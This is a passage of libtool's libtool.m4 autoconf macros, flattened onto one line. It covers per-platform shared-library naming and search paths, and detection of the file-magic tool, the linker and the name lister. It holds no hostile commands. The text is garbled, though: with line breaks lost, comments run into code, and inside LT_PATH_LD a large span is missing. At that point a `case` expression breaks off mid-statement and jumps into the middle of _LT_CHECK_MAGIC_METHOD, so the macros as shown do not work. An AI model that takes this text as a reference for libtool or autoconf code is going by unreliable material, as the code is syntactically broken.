Probably we can add versioning support to # collect2, so additional links can be useful in future. if test "$aix_use_runtimelinking" = yes; then # If using run time linking (on AIX 4.2 or later) use lib.so # instead of lib.a to let people know that these are not # typical AIX shared libraries. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' else # We preserve .a as extension for shared libraries through AIX4.2 # and later when we are not doing run time linking. library_names_spec='${libname}${release}.a $libname.a' soname_spec='${libname}${release}${shared_ext}$major' fi shlibpath_var=LIBPATH fi ;; amigaos*) case $host_cpu in powerpc) # Since July 2007 AmigaOS4 officially supports .so libraries. # When compiling the executable, add -use-dynld -Lsobjs: to the compileline. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' ;; m68k) library_names_spec='$libname.ixlibrary $libname.a' # Create ${libname}_ixlibrary.a entries in /sys/libs. finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$ECHO "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' ;; esac ;; beos*) library_names_spec='${libname}${shared_ext}' dynamic_linker="$host_os ld.so" shlibpath_var=LIBRARY_PATH ;; bsdi[[45]]*) version_type=linux need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' shlibpath_var=LD_LIBRARY_PATH sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" # the default ld.so.conf also contains /usr/contrib/lib and # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow # libtool to hard-code these into programs ;; cygwin* | mingw* | pw32* | cegcc*) version_type=windows shrext_cmds=".dll" need_version=no need_lib_prefix=no case $GCC,$host_os in yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*) library_names_spec='$libname.dll.a' # DLL is installed to $(libdir)/../bin by postinstall_cmds postinstall_cmds='base_file=`basename \${file}`~ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~ dldir=$destdir/`dirname \$dlpath`~ test -d \$dldir || mkdir -p \$dldir~ $install_prog $dir/$dlname \$dldir/$dlname~ chmod a+x \$dldir/$dlname~ if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; fi' postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ dlpath=$dir/\$dldll~ $RM \$dlpath' shlibpath_overrides_runpath=yes case $host_os in cygwin*) # Cygwin DLLs use 'cyg' prefix rather than 'lib' soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" ;; mingw* | cegcc*) # MinGW DLLs use traditional 'lib' prefix soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then # It is most probably a Windows format PATH printed by # mingw gcc, but we are running on Cygwin. Gcc prints its search # path with ; separators, and with drive letters. We can handle the # drive letters (cygwin fileutils understands them), so leave them, # especially as we might pass files found there to a mingw objdump, # which wouldn't understand a cygwinified path. Ahh. sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` else sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` fi ;; pw32*) # pw32 DLLs use 'pw' prefix rather than 'lib' library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' ;; esac ;; *) library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib' ;; esac dynamic_linker='Win32 ld.exe' # FIXME: first we should search . and the directory the executable is in shlibpath_var=PATH ;; darwin* | rhapsody*) dynamic_linker="$host_os dyld" version_type=darwin need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext' soname_spec='${libname}${release}${major}$shared_ext' shlibpath_overrides_runpath=yes shlibpath_var=DYLD_LIBRARY_PATH shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`' m4_if([$1], [],[ sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib"]) sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' ;; dgux*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH ;; freebsd1*) dynamic_linker=no ;; freebsd* | dragonfly*) # DragonFly does not have aout. When/if they implement a new # versioning mechanism, adjust this. if test -x /usr/bin/objformat; then objformat=`/usr/bin/objformat` else case $host_os in freebsd[[123]]*) objformat=aout ;; *) objformat=elf ;; esac fi version_type=freebsd-$objformat case $version_type in freebsd-elf*) library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' need_version=no need_lib_prefix=no ;; freebsd-*) library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' need_version=yes ;; esac shlibpath_var=LD_LIBRARY_PATH case $host_os in freebsd2*) shlibpath_overrides_runpath=yes ;; freebsd3.[[01]]* | freebsdelf3.[[01]]*) shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \ freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1) shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; *) # from 4.6 on, and DragonFly shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; esac ;; gnu*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH hardcode_into_libs=yes ;; hpux9* | hpux10* | hpux11*) # Give a soname corresponding to the major version so that dld.sl refuses to # link against other versions. version_type=sunos need_lib_prefix=no need_version=no case $host_cpu in ia64*) shrext_cmds='.so' hardcode_into_libs=yes dynamic_linker="$host_os dld.so" shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' if test "X$HPUX_IA64_MODE" = X32; then sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" else sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" fi sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec ;; hppa*64*) shrext_cmds='.sl' hardcode_into_libs=yes dynamic_linker="$host_os dld.sl" shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec ;; *) shrext_cmds='.sl' dynamic_linker="$host_os dld.sl" shlibpath_var=SHLIB_PATH shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' ;; esac # HP-UX runs *really* slowly unless shared libraries are mode 555. postinstall_cmds='chmod 555 $lib' ;; interix[[3-9]]*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; irix5* | irix6* | nonstopux*) case $host_os in nonstopux*) version_type=nonstopux ;; *) if test "$lt_cv_prog_gnu_ld" = yes; then version_type=linux else version_type=irix fi ;; esac need_lib_prefix=no need_version=no soname_spec='${libname}${release}${shared_ext}$major' library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' case $host_os in irix5* | nonstopux*) libsuff= shlibsuff= ;; *) case $LD in # libtool.m4 will add one of these switches to LD *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") libsuff= shlibsuff= libmagic=32-bit;; *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") libsuff=32 shlibsuff=N32 libmagic=N32;; *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") libsuff=64 shlibsuff=64 libmagic=64-bit;; *) libsuff= shlibsuff= libmagic=never-match;; esac ;; esac shlibpath_var=LD_LIBRARY${shlibsuff}_PATH shlibpath_overrides_runpath=no sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" hardcode_into_libs=yes ;; # No shared lib support for Linux oldld, aout, or coff. linux*oldld* | linux*aout* | linux*coff*) dynamic_linker=no ;; # This must be Linux ELF. linux* | k*bsd*-gnu) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no # Some binutils ld are patched to set DT_RUNPATH save_LDFLAGS=$LDFLAGS save_libdir=$libdir eval "libdir=/foo; wl=\"$_LT_TAGVAR(lt_prog_compiler_wl, $1)\"; \ LDFLAGS=\"\$LDFLAGS $_LT_TAGVAR(hardcode_libdir_flag_spec, $1)\"" AC_LINK_IFELSE([AC_LANG_PROGRAM([],[])], [AS_IF([ ($OBJDUMP -p conftest$ac_exeext) 2>/dev/null | grep "RUNPATH.*$libdir" >/dev/null], [shlibpath_overrides_runpath=yes])]) LDFLAGS=$save_LDFLAGS libdir=$save_libdir # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. hardcode_into_libs=yes # Add ABI-specific directories to the system library path. sys_lib_dlsearch_path_spec="/lib64 /usr/lib64 /lib /usr/lib" # Append ld.so.conf contents to the search path if test -f /etc/ld.so.conf; then lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[ ]*hwcap[ ]/d;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '` sys_lib_dlsearch_path_spec="$sys_lib_dlsearch_path_spec $lt_ld_extra" fi # We used to test for /lib/ld.so.1 and disable shared libraries on # powerpc, because MkLinux only supported shared libraries with the # GNU dynamic linker. Since this was broken with cross compilers, # most powerpc-linux boxes support dynamic linking these days and # people can always --disable-shared, the test was removed, and we # assume the GNU/Linux dynamic linker is in use. dynamic_linker='GNU/Linux ld.so' ;; netbsd*) version_type=sunos need_lib_prefix=no need_version=no if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' dynamic_linker='NetBSD (a.out) ld.so' else library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' dynamic_linker='NetBSD ld.elf_so' fi shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; newsos6) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes ;; *nto* | *qnx*) version_type=qnx need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes dynamic_linker='ldqnx.so' ;; openbsd*) version_type=sunos sys_lib_dlsearch_path_spec="/usr/lib" need_lib_prefix=no # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs. case $host_os in openbsd3.3 | openbsd3.3.*) need_version=yes ;; *) need_version=no ;; esac library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' shlibpath_var=LD_LIBRARY_PATH if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then case $host_os in openbsd2.[[89]] | openbsd2.[[89]].*) shlibpath_overrides_runpath=no ;; *) shlibpath_overrides_runpath=yes ;; esac else shlibpath_overrides_runpath=yes fi ;; os2*) libname_spec='$name' shrext_cmds=".dll" need_lib_prefix=no library_names_spec='$libname${shared_ext} $libname.a' dynamic_linker='OS/2 ld.exe' shlibpath_var=LIBPATH ;; osf3* | osf4* | osf5*) version_type=osf need_lib_prefix=no need_version=no soname_spec='${libname}${release}${shared_ext}$major' library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" ;; rdos*) dynamic_linker=no ;; solaris*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes # ldd complains unless libraries are executable postinstall_cmds='chmod +x $lib' ;; sunos4*) version_type=sunos library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes if test "$with_gnu_ld" = yes; then need_lib_prefix=no fi need_version=yes ;; sysv4 | sysv4.3*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH case $host_vendor in sni) shlibpath_overrides_runpath=no need_lib_prefix=no runpath_var=LD_RUN_PATH ;; siemens) need_lib_prefix=no ;; motorola) need_lib_prefix=no need_version=no shlibpath_overrides_runpath=no sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' ;; esac ;; sysv4*MP*) if test -d /usr/nec ;then version_type=linux library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' soname_spec='$libname${shared_ext}.$major' shlibpath_var=LD_LIBRARY_PATH fi ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) version_type=freebsd-elf need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes if test "$with_gnu_ld" = yes; then sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' else sys_lib_search_path_spec='/usr/ccs/lib /usr/lib' case $host_os in sco3.2v5*) sys_lib_search_path_spec="$sys_lib_search_path_spec /lib" ;; esac fi sys_lib_dlsearch_path_spec='/usr/lib' ;; tpf*) # TPF is a cross-target only. Preferred cross-host = GNU/Linux. version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; uts4*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH ;; *) dynamic_linker=no ;; esac AC_MSG_RESULT([$dynamic_linker]) test "$dynamic_linker" = no && can_build_shared=no variables_saved_for_relink="PATH $shlibpath_var $runpath_var" if test "$GCC" = yes; then variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" fi if test "${lt_cv_sys_lib_search_path_spec+set}" = set; then sys_lib_search_path_spec="$lt_cv_sys_lib_search_path_spec" fi if test "${lt_cv_sys_lib_dlsearch_path_spec+set}" = set; then sys_lib_dlsearch_path_spec="$lt_cv_sys_lib_dlsearch_path_spec" fi _LT_DECL([], [variables_saved_for_relink], [1], [Variables whose values should be saved in libtool wrapper scripts and restored at link time]) _LT_DECL([], [need_lib_prefix], [0], [Do we need the "lib" prefix for modules?]) _LT_DECL([], [need_version], [0], [Do we need a version for libraries?]) _LT_DECL([], [version_type], [0], [Library versioning type]) _LT_DECL([], [runpath_var], [0], [Shared library runtime path variable]) _LT_DECL([], [shlibpath_var], [0],[Shared library path variable]) _LT_DECL([], [shlibpath_overrides_runpath], [0], [Is shlibpath searched before the hard-coded library search path?]) _LT_DECL([], [libname_spec], [1], [Format of library name prefix]) _LT_DECL([], [library_names_spec], [1], [[List of archive names. First name is the real one, the rest are links. The last name is the one that the linker finds with -lNAME]]) _LT_DECL([], [soname_spec], [1], [[The coded name of the library, if different from the real name]]) _LT_DECL([], [postinstall_cmds], [2], [Command to use after installation of a shared archive]) _LT_DECL([], [postuninstall_cmds], [2], [Command to use after uninstallation of a shared archive]) _LT_DECL([], [finish_cmds], [2], [Commands used to finish a libtool library installation in a directory]) _LT_DECL([], [finish_eval], [1], [[As "finish_cmds", except a single script fragment to be evaled but not shown]]) _LT_DECL([], [hardcode_into_libs], [0], [Whether we should hardcode library paths into libraries]) _LT_DECL([], [sys_lib_search_path_spec], [2], [Compile-time system search path for libraries]) _LT_DECL([], [sys_lib_dlsearch_path_spec], [2], [Run-time system search path for libraries]) ])# _LT_SYS_DYNAMIC_LINKER # _LT_PATH_TOOL_PREFIX(TOOL) # -------------------------- # find a file program which can recognize shared library AC_DEFUN([_LT_PATH_TOOL_PREFIX], [m4_require([_LT_DECL_EGREP])dnl AC_MSG_CHECKING([for $1]) AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, [case $MAGIC_CMD in [[\\/*] | ?:[\\/]*]) lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. ;; *) lt_save_MAGIC_CMD="$MAGIC_CMD" lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR dnl $ac_dummy forces splitting on constant user-supplied paths. dnl POSIX.2 word splitting is done only on the output of word expansions, dnl not every word. This closes a longstanding sh security hole. ac_dummy="m4_if([$2], , $PATH, [$2])" for ac_dir in $ac_dummy; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/$1; then lt_cv_path_MAGIC_CMD="$ac_dir/$1" if test -n "$file_magic_test_file"; then case $deplibs_check_method in "file_magic "*) file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"` MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | $EGREP "$file_magic_regex" > /dev/null; then : else cat <<_LT_EOF 1>&2 *** Warning: the command libtool uses to detect shared libraries, *** $file_magic_cmd, produces output that libtool cannot recognize. *** The result is that libtool may fail to recognize shared libraries *** as such. This will affect the creation of libtool libraries that *** depend on shared libraries, but programs linked with such libtool *** libraries will work regardless of this problem. Nevertheless, you *** may want to report the problem to your system manager and/or to *** bug-libtool@gnu.org _LT_EOF fi ;; esac fi break fi done IFS="$lt_save_ifs" MAGIC_CMD="$lt_save_MAGIC_CMD" ;; esac]) MAGIC_CMD="$lt_cv_path_MAGIC_CMD" if test -n "$MAGIC_CMD"; then AC_MSG_RESULT($MAGIC_CMD) else AC_MSG_RESULT(no) fi _LT_DECL([], [MAGIC_CMD], [0], [Used to examine libraries when file_magic_cmd begins with "file"])dnl ])# _LT_PATH_TOOL_PREFIX # Old name: AU_ALIAS([AC_PATH_TOOL_PREFIX], [_LT_PATH_TOOL_PREFIX]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_PATH_TOOL_PREFIX], []) # _LT_PATH_MAGIC # -------------- # find a file program which can recognize a shared library m4_defun([_LT_PATH_MAGIC], [_LT_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH) if test -z "$lt_cv_path_MAGIC_CMD"; then if test -n "$ac_tool_prefix"; then _LT_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) else MAGIC_CMD=: fi fi ])# _LT_PATH_MAGIC # LT_PATH_LD # ---------- # find the pathname to the GNU or non-GNU linker AC_DEFUN([LT_PATH_LD], [AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_REQUIRE([AC_CANONICAL_BUILD])dnl m4_require([_LT_DECL_SED])dnl m4_require([_LT_DECL_EGREP])dnl AC_ARG_WITH([gnu-ld], [AS_HELP_STRING([--with-gnu-ld], [assume the C compiler uses GNU ld @<:@default=no@:>@])], [test "$withval" = no || with_gnu_ld=yes], [with_gnu_ld=no])dnl ac_prog=ld if test "$GCC" = yes; then # Check if gcc -print-prog-name=ld gives a path. AC_MSG_CHECKING([for ld used by $CC]) case $host in *-*-mingw*) # gcc leaves a trailing carriage return which upsets mingw ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; *) ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; esac case $ac_prog in # Accept absolute paths. [[\\/]]* | ?:[[\\/]]*) re_direlt='/[[^/]][[^/]]*/\.\./' # Canonicalize the pathname of ld ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'` while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"` done test -z "$LD" && LD="$ac_prog" ;; "") # If it fails, then pretend we aren't using GCC. ac_prog=ld ;; *) # If it is relative, then search for the first ld in PATH. with_gnu_ld=unknown ;; esac elif test "$with_gnu_ld" = yes; then AC_MSG_CHECKING([for GNU ld]) else AC_MSG_CHECKING([for non-GNU ld]) fi AC_CACHE_VAL(lt_cv_path_LD, [if test -z "$LD"; then lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for ac_dir in $PATH; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then lt_cv_path_LD="$ac_dir/$ac_prog" # Check to see if the program is GNU ld. I'd rather use --version, # but apparently some variants of GNU ld only accept -v. # Break only if it was the GNU/non-GNU ld that we prefer. case `"$lt_cv_path_LD" -v 2>&1 &1 /dev/null 2>&1; then lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' lt_cv_file_magic_cmd='func_win32_libid' else lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?' lt_cv_file_magic_cmd='$OBJDUMP -f' fi ;; cegcc) # use the weaker test based on 'objdump'. See mingw*. lt_cv_deplibs_check_method='file_magic file format pe-arm-.*little(.*architecture: arm)?' lt_cv_file_magic_cmd='$OBJDUMP -f' ;; darwin* | rhapsody*) lt_cv_deplibs_check_method=pass_all ;; freebsd* | dragonfly*) if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then case $host_cpu in i*86 ) # Not sure whether the presence of OpenBSD here was a mistake. # Let's accept both of them until this is cleared up. lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library' lt_cv_file_magic_cmd=/usr/bin/file lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` ;; esac else lt_cv_deplibs_check_method=pass_all fi ;; gnu*) lt_cv_deplibs_check_method=pass_all ;; hpux10.20* | hpux11*) lt_cv_file_magic_cmd=/usr/bin/file case $host_cpu in ia64*) lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64' lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so ;; hppa*64*) [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'] lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl ;; *) lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library' lt_cv_file_magic_test_file=/usr/lib/libc.sl ;; esac ;; interix[[3-9]]*) # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|\.a)$' ;; irix5* | irix6* | nonstopux*) case $LD in *-32|*"-32 ") libmagic=32-bit;; *-n32|*"-n32 ") libmagic=N32;; *-64|*"-64 ") libmagic=64-bit;; *) libmagic=never-match;; esac lt_cv_deplibs_check_method=pass_all ;; # This must be Linux ELF. linux* | k*bsd*-gnu) lt_cv_deplibs_check_method=pass_all ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' else lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$' fi ;; newos6*) lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)' lt_cv_file_magic_cmd=/usr/bin/file lt_cv_file_magic_test_file=/usr/lib/libnls.so ;; *nto* | *qnx*) lt_cv_deplibs_check_method=pass_all ;; openbsd*) if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$' else lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' fi ;; osf3* | osf4* | osf5*) lt_cv_deplibs_check_method=pass_all ;; rdos*) lt_cv_deplibs_check_method=pass_all ;; solaris*) lt_cv_deplibs_check_method=pass_all ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) lt_cv_deplibs_check_method=pass_all ;; sysv4 | sysv4.3*) case $host_vendor in motorola) lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` ;; ncr) lt_cv_deplibs_check_method=pass_all ;; sequent) lt_cv_file_magic_cmd='/bin/file' lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' ;; sni) lt_cv_file_magic_cmd='/bin/file' lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib" lt_cv_file_magic_test_file=/lib/libc.so ;; siemens) lt_cv_deplibs_check_method=pass_all ;; pc) lt_cv_deplibs_check_method=pass_all ;; esac ;; tpf*) lt_cv_deplibs_check_method=pass_all ;; esac ]) file_magic_cmd=$lt_cv_file_magic_cmd deplibs_check_method=$lt_cv_deplibs_check_method test -z "$deplibs_check_method" && deplibs_check_method=unknown _LT_DECL([], [deplibs_check_method], [1], [Method to check whether dependent libraries are shared objects]) _LT_DECL([], [file_magic_cmd], [1], [Command to use when deplibs_check_method == "file_magic"]) ])# _LT_CHECK_MAGIC_METHOD # LT_PATH_NM # ---------- # find the pathname to a BSD- or MS-compatible name lister AC_DEFUN([LT_PATH_NM], [AC_REQUIRE([AC_PROG_CC])dnl AC_CACHE_CHECK([for BSD- or MS-compatible name lister (nm)], lt_cv_path_NM, [if test -n "$NM"; then # Let the user override the test. 